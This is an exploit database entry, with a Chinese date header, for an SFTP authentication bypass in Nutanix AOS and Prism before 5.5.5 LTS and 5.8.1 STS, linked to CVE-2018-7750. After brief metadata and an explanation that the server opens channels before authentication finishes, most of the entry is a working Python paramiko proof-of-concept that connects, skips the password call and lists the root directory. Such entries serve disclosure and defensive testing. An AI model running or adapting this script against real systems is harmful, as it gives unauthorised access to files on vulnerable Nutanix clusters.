发布 2018-10-30 漏洞条目

Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass

Exploit Source

# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass

# Date: 2018-10-27

# Exploit Author: Adam Brown

# Vendor Homepage: https://www.nutanix.org

# Software Link: https://www.nutanix.com/products/software-options/

# Version: < 5.5.5 (LTS), < 5.8.1 (STS)

# Tested on: Acropolis Operating System

# CVE : Related to CVE-2018-7750

# This PoC is based on discussions found at the following blog post:

# https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/

# TLDR, the Acropolis SFTP server doesn't check if the client has completed the

# authentication step before allowing the client to open channels. The PoC below

# connects to the acropolis SFTP server, and lists the root directory without

# authenticating.

#!/usr/bin/python

import paramiko

host = '127.0.0.1'

port = 2222

trans = paramiko.Transport((host, port))

trans.start_client()

# If the call below is skipped, no username or password is required.

# trans.auth_password('username', 'password')

sftp = paramiko.SFTPClient.from_transport(trans)

print(sftp.listdir('/'))

sftp.close()

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